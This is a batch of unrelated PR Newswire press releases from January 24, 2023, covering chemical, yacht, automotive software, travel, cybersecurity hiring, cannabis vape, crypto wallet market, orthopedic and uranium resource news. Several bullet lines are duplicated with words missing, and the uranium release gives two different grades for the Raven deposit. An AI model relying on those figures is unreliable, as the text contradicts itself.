
9.9.1 Company overview

9.9.2 Company snapshot

9.9.3 Operating business segments

9.9.4 Product portfolio

9.9.5 Business performance

9.9.6 Key strategic moves and developments

9.10 Trivitron Healthcare

9.10.1 Company overview

9.10.2 Company snapshot

9.10.3 Operating business segments

9.10.4 Product portfolio

9.10.5 Business performance

9.10.6 Key strategic moves and developments

For more information about this report visit https://www.researchandmarkets.com/r/8l0xvd

Media Contact: Laura Wood | +353-1-481-1716 | [email protected]

Logo: https://mma.prnewswire.com/media/539438/Research_and_Markets_Logo.jpg

SOURCE Research and Markets
PEARLAND, Texas, Jan. 24, 2023 /PRNewswire/ -- Third Coast, a leading chemical manufacturer, recently launched their new website at ThirdCoast.com. The revamped site is the culmination of Third Coast's rebranding efforts, uniting their family of companies into one consolidated brand identity by creating consistency in the brand's visual elements and messaging.

Third Coast, a leading chemical manufacturer, recently launched their new website and branding at ThirdCoast.com. Tweet this From website to signage, Third Coast presents a consolidated brand identity, creating consistency in the brands visual elements and messaging.

"Our company has evolved over time, and we are now much more than a blending and packaging operation," explained Jim Clawson, Third Coast's Founder and CEO. "We felt that being known as 'Third Coast Terminals' did not accurately depict all we do. We have broadened our services to include toll manufacturing with reaction, distillation, and filtration capabilities and are constantly expanding our US Gulf Coast capacity. The new branding as 'Third Coast' signifies growth and expansion beyond terminal operations."

Third Coast's rebranding initiative is in response to the company's extreme growth over the past decade. Formerly operating under the separate entities of Third Coast Terminals and Third Coast Chemicals, the overall strategy was designed to strengthen the brand and bring added value to its customers and stakeholders by combining them into one brand.

The company initiated the rebrand in 2021 by refreshing its logo to one that represents its full range of products and services. They carried the rebranding forward by updating their signage, marketing materials, and redirecting their Third Coast Terminals website to ThirdCoast.com . Third Coast's new website furthers this effort by integrating its new elements into a clean, modern design with optimized content and improved functionality that clearly communicates the company's capabilities in contract manufacturing, storing, blending, filtering, and packaging in the petrochemical and pharmaceutical industries.

The goal of Third Coast's dynamic redesigned website was to bring all of the company's products, capabilities, and services into one place, allowing visitors to access information while getting to know the company and culture. The comprehensive site offers a streamlined experience, providing visitors with easy access to essential information, videos, newsroom, career opportunities, and contact details.

About Third Coast

Third Coast is a global network of affiliates dedicated to providing contract manufacturing, terminal services, customized sales, and marketing solutions to customers in the Oil, Gas, and Chemical industries.

For more information, please call or visit thirdcoast.com and connect with them on social media.

Media Contact:

Paul Glenn

[email protected]

SOURCE Third Coast
The Holland-based boat maker releases its largest inboard model to date

MIAMI, Jan. 24, 2023 /PRNewswire/ -- Tiara Yachts, family-owned manufacturer of American-made luxury watercrafts, is set to debut its newest inboard model, the EX 60, to the general public at the Discover Boating Miami International Boat Show from February 15-19. Measuring just over 60 feet and touting a near 17-foot beam, the EX 60 is Tiara's largest and most ambitious model to date.

Tiara Yachts EX 60

Designed to be flexible for maximum owner customization, the EX 60 offers a variety of different cruising, entertaining and watersports options to choose from. With the integrated layout of the salon, galley and cockpit, boaters can experience optimal performance while having the space to socialize and entertain stylishly. It also features three comfortable sleeping quarters, two private heads for added convenience, and twin Volvo IPS1350 engines paired with the latest Volvo and Garmin technology, including assisted docking.

In addition to the EX 60, the Michigan-based manufacturer plans to display the 44 Coupe and 49 Coupe from their inboard lineup and the 48 LS, 43 LS, 38 LS, 34 LS, 43 LE and 34 LX from the outboard portfolio. The 38 LS, 34 LS and 34 LX will feature the newly released Mercury 5.7L V10 400hp Verado propulsion package, which boasts the industry's first V10 naturally aspirated powerhead. The outboard engine manufacture will also have a 34 LS on display at their booth in Miami.

"The Discover Boating Miami International Boat Show is a highly regarded event in the boating and yachting industry," said Tom Slikkers, CEO and President of Tiara Yachts. "We're eager to share a product as excellent and significant to our brand as the EX 60 at the show."

The Miami International Boat Show is billed as the largest boat and yacht show in the world, with more than 1,000 boats on display and 100,000+ attendees. Staged at six different venues across the city, the Tiara Yachts booth can be found on D Dock at the One Herald Plaza location.

For more information about Tiara Yachts and the EX 60, visit tiarayachts.com.

About Tiara Yachts

Tiara Yachts, headquartered in Holland, Michigan, is one of the oldest privately held boat manufacturers in the United States. The Tiara Yachts model line includes inboard vessels from 39 to 60 feet in the Coupe and EX lines. Outboard powered Tiara Yachts models range from 34 to 48 feet in three distinct Series: Luxury Sport (LS), Luxury Crossover (LX), and Luxury Express (LE). For more information, please visit tiarayachts.com.

Media Contact:

Mitchell Reid

Associate

Lambert

[email protected]

989-326-3992

SOURCE Tiara Yachts
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Triple Emmy winning journalist, bestselling author and speaker Gaby Natale has partnered with The Estee Lauder Companies' (ELC) Hispanic Connections Employee Resource Group to collaborate on programming for the Leading With High Touch sponsorship program , a leadership development program designed to elevate, develop, retain, and attract senior-level Hispanic/Latinx talent.

Triple Daytime Emmy winner Gaby Natale at The Estee Lauder Companies office in New York

"Embracing a PIONEER spirit and breaking barriers is at the core of what I do as speaker, author, and journalist. So, when The Estee Lauder Companies reached out to join their team of thought leaders for their first ever Leading With High Touch initiative to elevate Hispanic/Latinx talent I knew this was a perfect fit for me. We are creating a lasting legacy that many more will benefit from", explains Natale.

Participants will engage in lectures, workshops, networking, and opportunities to redefine their growth mindset. The annual hybrid initiative combines internal and external speakers who will discuss topics ranging from personal branding and negotiating to self-advocacy and wellbeing.

Natale joins a select roster of thought leaders who will train and energize the inaugural cohort. As part of the collaboration, Natale will meet the program's participants at ELC's offices in New York for multiple in-person training sessions featuring her proprietary leadership development frameworks PIONEERS and The Virtuous Circle.

"This program is a dream come true. Gaby is inspiring to all of us. We are building the first cohort of Latino Leaders at ELC. Sitting together in a room, starting a network of future Latino Leaders, sharing, and co-supporting each other is terrific" said Barma Uruchima, Co-Chair, Leading With High Touch at The Estee Lauder Companies.

The Estee Lauder Companies collective vision is to be the most inclusive and diverse beauty company in the world. ELC aims to be both: the employer of choice for diverse talent and the brands of choice for diverse consumers. Leading With High Touch is part of ELC's ongoing commitment to ensuring all employees have equal access to mentorship programs and sponsorship opportunities.

The Estee Lauder Companies owns more than 25 prestige skincare, makeup, fragrance, and hair care brands sold in 150 countries including: Estee Lauder, Clinique, Origins, Tommy Hilfiger, MAC, La Mer, Bobbi Brown, DKNY, Aveda, Jo Malone London, Bumble and Bumble, and Michael Kors among others.

SOURCE AGANARmedia
Team Velocity is eligible to provide Toyota Motor North America dealers with the industry's first fully integrated customer experience platform, Apollo.

WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- Team Velocity has announced a strategic collaboration with Toyota Motor North America (TMNA) as an approved Toyota Dealer Digital Solutions provider, welcoming TMNA dealers to the future of automotive retailing and dealer websites. As the industry's fastest-growing technology provider, Team Velocity developed the Apollo platform to empower dealers to grow their businesses with higher profits and increased transactions. TMNA's 1,200+ U.S.-based retailers can now switch to Apollo to fully integrate and execute advertising and website strategies through a single vendor, delivering a seamless experience for customers at every stage of the purchasing journey.

Team Velocity Joins Toyota Motor North America's Digital Solutions Program

"To our loyal Toyota Motor North America dealer partners, this win is for you. It is an honor to be selected as a certified website provider for TMNA," says David Boice, CEO at Team Velocity. "Our website product, Apollo Sites, is the first to be integrated, personalized, and automated. A connected customer experience is the future of modern retailing. We are excited to equip TMNA dealers with our full Apollo customer experience platform and deliver an Amazon-like experience to their customers."

Team Velocity and Apollo pair industry-leading marketing automation with unmatched customer service, giving retailers the tools needed to exceed customer expectations. Dealers who make the switch gain access to Apollo Sites , a core solution within the Apollo Customer Experience Platform, providing customers with a complete online retail experience. With a personal website dynamically customized based on shopping behavior, including vehicle history and service needs, upgrade offers, coupons, and more, Apollo Sites is a future-forward solution that makes the vehicle ownership lifecycle seamless for customers.

With Apollo Sites, TMNA dealers will gain access to powerful new features, including:

DMS Integration: Apollo Sites seamlessly integrates with an existing DMS to identify repeat customers and collect unique customer data, such as equity, current financing, and service history, which is incorporated into the website to deliver a hyper-personalized experience.

seamlessly integrates with an existing DMS to identify repeat customers and collect unique customer data, such as equity, current financing, and service history, which is incorporated into the website to deliver a hyper-personalized experience. Customer Websites: Apollo Sites delivers dynamic, personalized websites for each customer, creating an Amazon-like experience that promotes more transactions.

delivers dynamic, personalized websites for each customer, creating an Amazon-like experience that promotes more transactions. Command Center: Within a single dashboard, Apollo Sites provides a detailed snapshot of all your top prospects, including those in equity, those due for service, and even active shoppers, giving dealers valuable insights in real time.

Within a single dashboard, provides a detailed snapshot of all your top prospects, including those in equity, those due for service, and even active shoppers, giving dealers valuable insights in real time. Customer Journey Tracking: Track active shoppers through all stages of the purchasing journey for deeper insights into shopping behavior, lead generation, and retention strategies.

Track active shoppers through all stages of the purchasing journey for deeper insights into shopping behavior, lead generation, and retention strategies. Smart Communications: Designed to help you move more customers down the sales funnel, Apollo Sites is equipped with intelligent action-based email technology to convert passive shoppers into active leads.

For more information about Team Velocity and Toyota Motor North America's Dealer Digital Solutions Program, please visit www.teamvelocitymarketing.com/toyota .

About Team Velocity

Team Velocity is revolutionizing the automotive industry with technology that digitizes the car buying and vehicle ownership processes. Made by dealers for dealers, our Customer Experience Platform (CXP), Apollo, provides a suite of integrated applications that make, manage, and measure frictionless consumer experiences, from the initial engagement to the final transaction. Apollo empowers dealers to own the entire customer journey by delivering hyper-personalized campaigns across every touchpoint, maximizing ROI and lifetime revenue.

For more information, please visit www.teamvelocitymarketing.com .

SOURCE Team Velocity
TORONTO, Jan. 24, 2023 /PRNewswire/ -- Now flying for business or pleasure can cost passengers much less with the launch of Traveln, a new smart fare notification platform.

Users can sign up for free to get timely alerts up to 90% off from their home airport. Members book their own deals with an average 42% discount to more than 70 destinations internationally from home domestic airports in all 50 states in the U.S. and in Canada. https://www.traveln.com/

Traveln Website

"We understand that planning a trip can be stressful and time-consuming, which is why we created a platform that does the work for you, whether you're planning a vacation or a business trip," said Kris Covino, Traveln CEO and Founder. "We only send deals that provide complete value at reduced rates. There are no low-budget airlines or ones with a poor client rating, only real deals from standard and premium airlines."

Traveln is transparent about how the new platform works for the benefit of the flying public.

"We are dedicated to finding the best prices on flights for Traveln members by using a unique algorithm that constantly searches for airline fares that have been miscalculated, holes in dynamic pricing systems, and low demand at the right time," Covino said.

Here's Traveln's most requested FAQs:

Traveln doesn't do the booking for customers, instead it sends direct alert links to online travel engines, such as Google Flights. That link allows passengers to complete the booking with the airline of their choice.

customers, instead it sends direct alert links to online travel engines, such as Google Flights. That link allows passengers to complete the booking with the airline of their choice. Planning ahead is key. Traveln alerts are always time limited, so their experts highly recommend acting on the alerts promptly, and planning business or leisure trips as much in advance as possible. "We always let you know when flight deals pop up," Covino says.

A limited free membership provides a smaller sample of discounts, but purchasing a paid membership provides unlimited access to all deals without restrictions. The current cost of a membership is $49 per year and renews automatically.

per year and renews automatically. Traveln maintains a growing number of 850 active deals. Some sample deals are $389 from Toronto to Berlin, Germany , a 63% discount for travel in March; and $370 from Boston to Dublin, Ireland , a 61% discount for travel in January and February.

"Over the past year, there has been an increase in the cost of goods; jet fuel is up to $39.3% higher in North America, and so is labor, which will be reflected in the cost of air travel going forward. So savvy consumers are always looking for ways to find cost efficiency, especially in airfares," Covino said. "Traveln is a valuable resource for anyone looking to save money on their travel plans. Our motto is 'See the World for Less!'"

Traveln expects to expand further beyond flights in the near future, Covino said. To start finding the best deals on flights to destinations around the world now, visit the Traveln website at www.traveln.com.

Media Contact:

Kris Covino, Founder

[email protected]

+1(416) 823-4882

SOURCE Traveln Inc.
Trinity Cyber expands team as its breakthrough technical capability gains popularity and helps federal government agencies secure their networks and comply with White House and DHS directives

WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- Trinity Cyber, Inc. , a technology innovator that is providing groundbreaking network security, today announced the appointment of John Fraser as Director of Federal Business. Today's announcement comes on the heels of recent growth in adoption of Trinity Cyber's technology to federal civilian agencies and military/DOD networks.

John Fraser, Director of Federal Business, Trinity Cyber

John has more than 18 years of professional experience in the areas of technical sales and sales leadership, business development, and strategic consulting. As a trusted advisor and Certified Information Systems Security Professional (CISSP), John has led complex cybersecurity and SaaS implementations across both federal and commercial sectors.

"John brings strong experience and leadership skills that are well aligned with our core areas of growth in service to the federal government," said Pete Forno, Vice President of Sales at Trinity Cyber. "We are thrilled to welcome John to our growing team as we continue to redefine the network security market for our customers across the public sector."

The company continues to solidify its strong foothold in the market as enterprises increasingly adopt its powerful automated preventive controls to achieve better security. TC:Edge is a critical new control service that brings a federal agency into overnight compliance with SSL termination and CVE mitigation directives, among others.

Prior to joining Trinity Cyber, John oversaw Federal Civilian Sales at Securonix Inc. and was a Major Account Executive at Akamai technologies overseeing the company's largest customer portfolios including the Department of Homeland Security, Cybersecurity and Infrastructure Security Agency, and the Department of Transportation.

Prior to Akamai, John spearheaded several Department of Defense mission critical programs while at Booz Allen Hamilton.

Fraser served as a program advisor to the Defense Threat Reduction Agency and the Defense Information Systems Agency working with Agency leadership on global threats and large-scale information technology initiatives.

"Major institutions, including federal agencies, universities, and large enterprises in a dozen verticals are deploying Trinity Cyber at massive scale and with great effect," said Fraser. "These organizations are achieving dramatically better security results with Trinity Cyber, including neutralizing and preventing entire classes of threats, virtually patching hundreds of CVEs, catching threats missed by other security products, reducing false positives, and decreasing incident response workloads. I am excited to bring my direct experience in driving growth in the federal market to continue this success for Trinity Cyber and better secure our nation's networks."

Additionally, Trinity Cyber continues to expand its reach across the industry with the growth of its sales organization, most recently with the addition of Elisha Lung as Sales Engineer.

TC:Edge and TC:File are Trinity Cyber's core services. Both service lines are redefining what is possible in the cybersecurity industry.

About Trinity Cyber

Trinity Cyber, Inc. is a US-based corporation that invents and operates technology to solve the most difficult cybersecurity challenges. The company's products and services range across several multi-billion dollar market segments. The company's founders, management team, and technologists are all award-winning, recognized leaders in their fieldand their tech is turning heads.

SOURCE Trinity Cyber
The first-ever made in the USA vape pen launches in partnership with licensed cannabis lab Pure Ohio Wellness

SACRAMENTO, Calif., Jan. 24, 2023 /PRNewswire/ -- Unite Vapeware, a manufacturer and distributor of high quality cannabis vaporizing devices, announced today the launch of the first-ever vape pen manufactured in the USA, with initial release via licensed cannabis lab Pure Ohio Wellness.

Since 2018, Unite Vapeware has aimed to offer customers safe cannabis products at fair prices by managing design, technology, sales, customer support, and fulfillment out of the USA, while having boots on the ground in China to manage its supply chain, manufacturing, and quality control.

Unite One by Unite Vapeware: The First Made in USA Cannabis Vaporizer.

Now, with the opening of its first manufacturing facility in California, Unite Vapeware is proud to be the only vape manufacturer that carries all inventory in the USA and to offer local customizations to cannabis consumers, starting with the first-ever vape pen manufactured in the USA.

"We are excited for the cannabis community to truly appreciate and experience the highest quality products manufactured right here in California," said Unite Vapeware President and CEO, Joey Schlaegel. "Our new vape pen demonstrates our team's commitment to innovation. We are consistently striving to raise industry standards and to meet evolving consumer needs."

The first made in the USA vape pen launches in partnership with licensed cannabis lab Pure Ohio Wellness. Founded by professional motorcycle rider, Larry Pegram, the company consists of a Level 1 cultivation facility, two dispensaries and a processing facility. Since inception, Pure Ohio Wellness has been a trusted Unite Vapeware partner.

"Pure Ohio Wellness is committed to improving the lives of Ohio patients by providing only the best medical marijuana products at affordable prices," said Pegram. "To be able to offer a new product that is manufactured in the USA, reassures our team and consumers of its safety and efficiency."

For more information on Unite Vapeware and the brand's first-ever vape pen manufactured in the USA, visit unitevapeware.com.

About Unite Vapeware

Unite Vapeware is a manufacturer and distributor of high-quality cannabis vaporizing devices. We proudly offer disposable vaporizers, cartridges and batteries to licensed cannabis labs with the goal to support consumers safely and affordably.

FOR FURTHER INFORMATION PLEASE CONTACT:

Joseph Schlaegel

Unite Vapeware, President and CEO

e: [email protected]

https://unitevapeware.com/disposables/unite-one-diposable-vaporizer-made-in-america/

SOURCE Unite Vapeware
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "United States Hardware Wallet Market, By Type (Hot Wallet and Cold Wallet) By Connection Type (Near Field Communication, USB and Bluetooth), By Distribution Channel, By End User By End Use Industry, By Region, Competition Forecast & Opportunities, 2028" report has been added to ResearchAndMarkets.com's offering.

United States Hardware Wallet market is anticipated to grow at double digit CAGR of 26.5% with demand for highly transparent distributed ledger technology in the commercial sector driving market growth.

Additionally, a surge in the development of new technologies throughout the digital currency or cryptocurrency market is anticipated to contribute to market growth. Also, a massive increase in investments in hardware powered by cryptocurrencies is anticipated to drive the hardware wallet market's growth.

Moreover, government programmes to formally implement and regulate cryptocurrency systems in their commercial sector are also emerging. The United States is leading the way in establishing a legal and regulatory framework for managing cryptocurrencies nationwide, which is also anticipated to present a sizable opportunity for the expansion of the hardware wallet market in this country.

A hardware wallet is one of the critical components of a blockchain database designed to store a user's private keys in a secure wallet. This wallet is immune to computer viruses that steal your coins and crypto information.



Increased Cryptocurrency Investment



Investment in cryptocurrencies has increased as a result of the sudden rise in Bitcoin's value. Due to the massive adoption of cryptocurrencies by important players like PayPal and Xbox, Bitcoin is the most valuable cryptocurrency with a market value of billions of dollars.

In addition, the second-largest cryptocurrency, Ethereum, has increased by 750% since 2020. As a result, the increased demand for cryptocurrencies is driving the market for hardware wallets, which allow traders to keep their keys safely while still protecting their personal data. These elements taken together are expected to present profitable chances for the hardware wallet's expansion in the upcoming years.



Rising Focus on Security



Users are embracing the technology since it offers security for managing private keys. The need for hardware wallets is anticipated to increase over the future years due to greater security awareness and proper secret key storage practices.

Additionally, 66.30% of remote cyberattacks are considered to be the most dominant factors when it comes to the biggest perceived attacks in crypto, according to Trezor. A hardware wallet's main goal has always been to safeguard users and their money from malware assaults, computer viruses, and other remote threats.

As a result, cold storage - that is, keeping Bitcoin values in a hardware wallet - is the recommended method for protecting a bitcoin wallet because it is less vulnerable to hacking. Hence driving the growth of the United States Hardware Wallet Market.



Regulations Against Cryptocurrencies



In US the Internal Revenue Service (IRS) now mandates the declaration of profits derived from virtual currency, and the US Commodity Futures Trading Commission (CFTC) has defined bitcoin to be a commodity.

The market for hardware wallets is anticipated to be constrained given the rules already in place against cryptocurrencies hence hindering the growth of United States hardware wallet market.



Market Players



ARCHOS S.A. under the category Cryptocurrencies Hardware Wallets provides ARCHOS Safe-T mini, ARCHOS Safe-T touch as hardware wallets.

Ledger SAS offers hardware wallets as Ledger Nano X, Ledger Nano S, SatoshiLabs Group a.s. offers Trezor is a brand by the company which has the Model One and Model T devices as hardware wallet. KeepKey, LLC provides hardware wallet for cryptocurrencies that supports over 40 different crypto assets. SecuX Technology Inc provides V20 hardware wallet.

The Coolbitx Technology LTD. segment develop, and offers hardware wallets under the brand name CoolWallet for consumer markets as well as complete KYC solutions for virtual asset service providers (VASPs).



Recent Developments:

As Of Dec 2019 , In order to distribute its ARCHOS SAFE-T line of hardware bitcoin wallets and blockchain secured solutions across the United States , ARCHOS teamed with Blockchain Foundry Inc., a leading developer of blockchain-based business solutions and consulting services.

, In order to distribute its ARCHOS SAFE-T line of hardware wallets and blockchain secured solutions across , ARCHOS teamed with Blockchain Foundry Inc., a leading developer of blockchain-based business solutions and consulting services. As of Dec. 2021 , In order to offer its consumers a completely new degree of protection, Ledger collaborated with Samsung, a major player in the consumer electronics industry, to connect its smartphone's bitcoin wallet to Ledger storage devices.

Market Dynamics

Drivers

Increasing investments in cryptocurrency based devices

based devices Technological developments to strengthening hardware wallet security

Transparency within distributed ledger technology

Challenges

Lack of customer awareness about trading cryptocurrency

government regulations against cryptocurrencies

Market Trends & Developments

High potential for market expansion across developing economies

Rising focus on security

Increased use of near-field communication (NFC)

Rising cashless payments

Major Players

SatoshiLabs Group a.s

ARCHOS S.A

Ledger SAS

KeepKey, LLC

NerdWallet USA

ELLIPAL Limited

SecuX Technology Inc.

Yanssie HK Limited (Keystone)

Exodus Movement, Inc.

Coolbitx Technology LTD

Report Scope:



United States Hardware Wallet Market, By Type

Hot Wallet

Cold Wallet

United States Hardware Wallet Market, By Connection Type

Near Field Communication

USB

Bluetooth

United States Hardware Wallet Market, By Distribution Channel:

Online

Offline

United States Hardware Wallet Market, By End User:

Individual

Commercial

United States Hardware Wallet Market, By End Use Industry:

Capital Market

BFSI (Excluding Capital Market)

Real Estate

Others

United States Hardware Wallet Market, By Region:

North-East

South

West

Mid-West

For more information about this report visit https://www.researchandmarkets.com/r/udtpnp

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

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Research and Markets

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SOURCE Research and Markets
CHICAGO, Jan. 24, 2023 /PRNewswire/ -- Unity MSK, a management services company providing support to orthopedic and podiatric practices across the United States, recently partnered with Chicago-based Orthopaedic Associates of Riverside (OAR). With the addition of this partnership, Unity MSK now has seven Chicagoland locations that provide orthopedic and podiatric medical care to commercial, Medicare, and workers compensation patients.

"Unity MSK is excited to take this next step in growing our presence in the Chicagoland market with the partnership of Orthopaedic Associates of Riverside. The combination of the Riverside practice with our existing Midland Orthopedic Associates (MOA) practice represents a great foundation of excellent physicians upon which to build in Chicago. Similar to OAR and MOA, we continue to look for practices that are interested in partnering with a company that complements high-quality clinical care with superb operations and back-office management support," comments Ted Bucknam, Chief Executive Officer of Unity MSK.

"Orthopaedic Associates of Riverside is very excited to have Unity MSK function as our practice management partner. We are equally excited about joining forces with Midland Orthopedic Associates to form an orthopedic group that is highly complementary from both a clinical and geographical perspective," says Dr. Scott Seymour, physician for OAR, "the quality of this group is at the highest level, with both practices being known for providing exceptional care and an unmatched customer experience. We look forward to working with Unity MSK and Midland Orthopedic Associates to create future growth opportunities in the Chicagoland and surrounding areas."

Unity MSK's seven Chicagoland locations consist of 10 physicians, five physician assistants, and a team of 60 support staff, all of whom are dedicated to delivering the highest-quality medical care throughout the Chicago region. Four of the seven locations also provide physical therapy treatments in addition to orthopedic and podiatric medical care.

Unity MSK is pleased by its growth into the southside and southwestern Chicagoland areas. Orthopaedic Associates of Riverside's practice further expands patient access to high-quality care across the Chicago region and aligns with Unity MSK's mission to bring excellent orthopedic and podiatric physicians together.

About Orthopaedic Associates of Riverside

Orthopaedic Associates of Riverside is committed to providing the highest quality of orthopedic care possible. Along with the treatment of immediate or chronic problems, Orthopaedic Associates of Riverside strives to integrate the doctrine of prevention in all its treatment plans as a way to alleviate potential future difficulties. For more information, visit www.orthoriverside.com.

About Unity MSK

Unity MSK is a national platform providing support services to practices offering the full continuum of musculoskeletal care. Unity MSK's scalable, best-in-class support promotes robust practice growth while allowing physicians to focus on providing the highest-quality clinical treatment for patients. Unity MSK is led by a team of executives and administrative support specialists with extensive clinical support experience. For more information, visit www.unitymsk.com. For further inquiries, please call Unity MSK at 800-990-1301. If interested in discussing physician partnership opportunities, please contact Ryan Pahler at [email protected].

Media Contact

Ryan Pahler

Unity MSK

[email protected]

SOURCE Unity MSK
NYSE American: UEC

This TRS filing for the Horseshoe-Raven Project is the second Saskatchewan resource estimate reported by the Company since its acquisition of UEX Corporation ("UEX") in August of 2022; and

resource estimate reported by the Company since its acquisition of UEX Corporation ("UEX") in August of 2022; and Indicated resources at the Horseshoe-Raven Project are 37.43 million lb. U 3 O 8 with 23.59 million lb. U 3 O 8 at 0.215% U 3 O 8 at the Horseshoe Deposit and 13.83 million lb. U 3 O 8 at 0.177% U 3 O 8 at the Raven Deposit (Table 1).

O with 23.59 million lb. U O at 0.215% U O at the Horseshoe Deposit and 13.83 million lb. U O at 0.177% U O at the Raven Deposit (Table 1). The project is 11,085 acres in the eastern portion of Saskatchewan's Athabasca Uranium District about 5 km from Cameco's mill at Rabbit Lake and approximately 27 km from the Roughrider deposit. UEC is considering the synergies between the Horseshoe-Raven, Roughrider, and Christie Lake deposits as parts of the Company's Eastern Athabasca Hub Strategy.

Athabasca Uranium District about 5 km from Cameco's mill at and approximately 27 km from the Roughrider deposit. UEC is considering the synergies between the Horseshoe-Raven, Roughrider, and deposits as parts of the Company's Eastern Athabasca Hub Strategy. Uranium mineralization at Horseshoe-Raven is hosted in basement rocks with no sandstone cover and is between 100 m and 450 m below the surface, suggesting that the deposit is potentially amenable to combined conventional open pit and underground mine development and should not require costly ground freezing.

CORPUS CHRISTI, Texas, Jan. 24, 2023 /PRNewswire/ - Uranium Energy Corp (NYSE American: UEC) (the "Company" or "UEC") is pleased to announce that it has filed a Technical Report Summary ("TRS") on EDGAR disclosing updated mineral resources for the Company's Horseshoe-Raven Project (the "Project" or "Horseshoe-Raven"). UEC indirectly owns 100% of the Project.

Background:

Figure 1 - UEC Athabasca Projects, News release Jan 24, 2023 (CNW Group/Uranium Energy Corp) Figure 2  UEC Horseshoe-Raven Project, SK, Canada_UEC news release Jan 24, 2023 (CNW Group/Uranium Energy Corp)

As a U.S. domestic and domiciled company, UEC is now reporting all mineral resources in accordance with Item 1302 of Regulation S-K ("S-K 1300");

S-K 1300 was adopted by the Securities and Exchange Commission (the "SEC") to modernize mineral property disclosure requirements for mining registrants and to align U.S. disclosure requirements more closely for mineral properties with current industry and global regulatory standards; and

The mineral resource estimate set forth in this TRS for the Horseshoe-Raven Project has not previously been reported under the S-K 1300 format.

The TRS was prepared under S-K 1300 and was filed on January 23, 2023 with the SEC through EDGAR on Form 8-K and is also available on SEDAR as a "Material Document" filed on January 23, 2023. The TRS was prepared on behalf of the Company by Nathan A. Barsi, P.Geo., UEC's District Geologist, Roger M. Lemaitre, P.Eng., P.Geo., former President and CEO of UEX, and Christopher J. Hamel, P.Geo., UEC's Vice President Exploration, Canada.

About Horseshoe-Raven

UEC's 100%-owned Horseshoe-Raven Project is our most advanced Canadian exploration stage project, located only 5 km south of Cameco's Rabbit Lake Mill. The Project has direct access to all-weather roads and power infrastructure.

Given the shallow depths to mineralization (between 100 and 450 m depth), uranium grades and lack of sandstone cover, the Horseshoe and Raven Deposits are potentially amenable to combined conventional open pit and underground mine development and should not require costly ground freezing to prevent water incursion or extra radiation protection measures routinely employed at many of Saskatchewan's uranium operations.

In 2016 additional metallurgical testing was completed on the Horseshoe and Raven mineralization with the objective of evaluating the potential benefit of heap leach extraction in lieu of toll milling. The testing program was conducted by SGS Lakefield Laboratories and was successful at demonstrating the potential of heap leaching. This historical scoping study was completed on the Horseshoe and Raven Deposits by JDS Mining in December 2016. The results of the study indicate that further investigations into heap leaching as an extraction method for the Horseshoe and Raven mineralization are warranted.

Resource Disclosure

The updated technical report and mineral resource estimate in the TRS was completed by Nathan A. Barsi, P.Geo., UEC's District Geologist, Christopher J. Hamel, P.Geo., UEC's Vice President Exploration, Canada, and Roger M. Lemaitre, former CEO and President of UEX. Messrs. Barsi, Hamel and Lemaitre are Qualified Persons under Item 1302 of S-K 1300. The Horseshoe-Raven Project mineral resource estimate was determined using a cut-off grade of 0.05% U 3 O 8 . A total of 4,982,500 tonnes containing 23.6 million pounds of U 3 O 8 at an average grade of 0.215% U 3 O 8 have been estimated in the indicated mineral resource category for the Horseshoe Deposit. A total of 5,370,000 tonnes containing 13.8 million pounds of U 3 O 8 at an average grade of 0.117% U 3 O 8 have been estimated in the indicated mineral resource category for the Raven Deposit.

Table 1  Horseshoe and Raven Deposits Mineral Resource Estimate at 0.05% U 3 O 8 cut-off grade

Horseshoe Deposit Uranium Resource* Deposit Category Quantity (Tonnes) Average Grade U 3 O 8 (%) Total lbs U 3 O 8 Horseshoe Indicated 4,982,500 0.215 23,594,000 Raven Deposit Uranium Resources* Deposit Category Quantity (Tonnes) Average Grade U 3 O 8 (%) Total lbs U 3 O 8 Raven Indicated 5,370,000 0.117 13,832,400

Notes: 1) Indicated mineral resources as defined in 17 CFR  229.1300 of S-K 1300. 2) Resources are reported as of October 31, 2022. 3) The point of reference for mineral resources is in-situ at the Project. 4) Mineral resources that are not mineral reserves do not have demonstrated economic viability.

The current mineral resource estimate includes the results from 715 diamond drill holes totalling 210,385 m which were drilled from 2005 to 2011. Mineralized wireframes of the Horseshoe and Raven Deposits were prepared at a 0.02% U 3 O 8 mineralized threshold to constrain the mineral resource estimate at each deposit area. The estimate was completed by inverse distance weighting squared algorithm using Datamine Studio RM software and utilized block sizes of 5 x 5 x 2.5 m for parent blocks and 0.25 x 0.25 x 0.25 m subcells. The impact of anomalously high-grade samples were controlled through a process of grade capping for all zones.

The mineral resource estimate primarily utilized uranium geochemical analyses from the Saskatchewan Research Council Geoanalytical Laboratories in Saskatoon, Saskatchewan, obtained through Inductively Coupled Plasma Mass Spectroscopy ("ICP-MS") for all samples with grades lower than 1,000 ppm U and using Inductively Couple Plasma Optical Emission Spectroscopy for samples determined by ICP-MS to contain uranium concentrations higher than 1,000 ppm U. Duplicate and independent check analyses were performed on approximately 5% of the mineralized assay database.

Summary capital and operating cost estimates are not included with the TRS since the Company is reporting the results of an initial assessment.

The TRS has been prepared and the technical information in this news release respecting the TRS has been reviewed by each of Nathan A. Barsi, P.Geo., UEC's District Geologist, Roger M. Lemaitre, P.Eng., P.Geo., and Christopher J. Hamel P.Geo., Vice President Exploration, Canada, for the Company, all Qualified Persons under Item 1302 of S-K 1300.

About Uranium Energy Corp

Uranium Energy Corp is the fastest growing supplier of the fuel for the green energy transition to a low carbon future. UEC is the largest, diversified North American focused uranium company, advancing the next generation of low-cost, environmentally friendly In-Situ Recovery ("ISR") mining uranium projects in the United States and high-grade conventional projects in Canada. The Company has two production-ready ISR hub and spoke platforms in South Texas and Wyoming. These two production platforms are anchored by fully operational central processing plants and served by seven U.S. ISR uranium projects with all their major permits in place. Additionally, the Company has diversified uranium holdings including: (1) one of the largest physical uranium portfolios of North American warehoused U 3 O 8 ; (2) a major equity stake in Uranium Royalty Corp., the only royalty company in the sector; and (3) a Western Hemisphere pipeline of resource stage uranium projects. The Company's operations are managed by professionals with decades of hands-on experience in the key facets of uranium exploration, development and mining.

Twitter: @UraniumEnergy

Stock Exchange Information:

NYSE American: UEC

Frankfurt Stock Exchange Symbol: U6Z

WKN: AJDRR

ISN: US916896103

Safe Harbor Statement

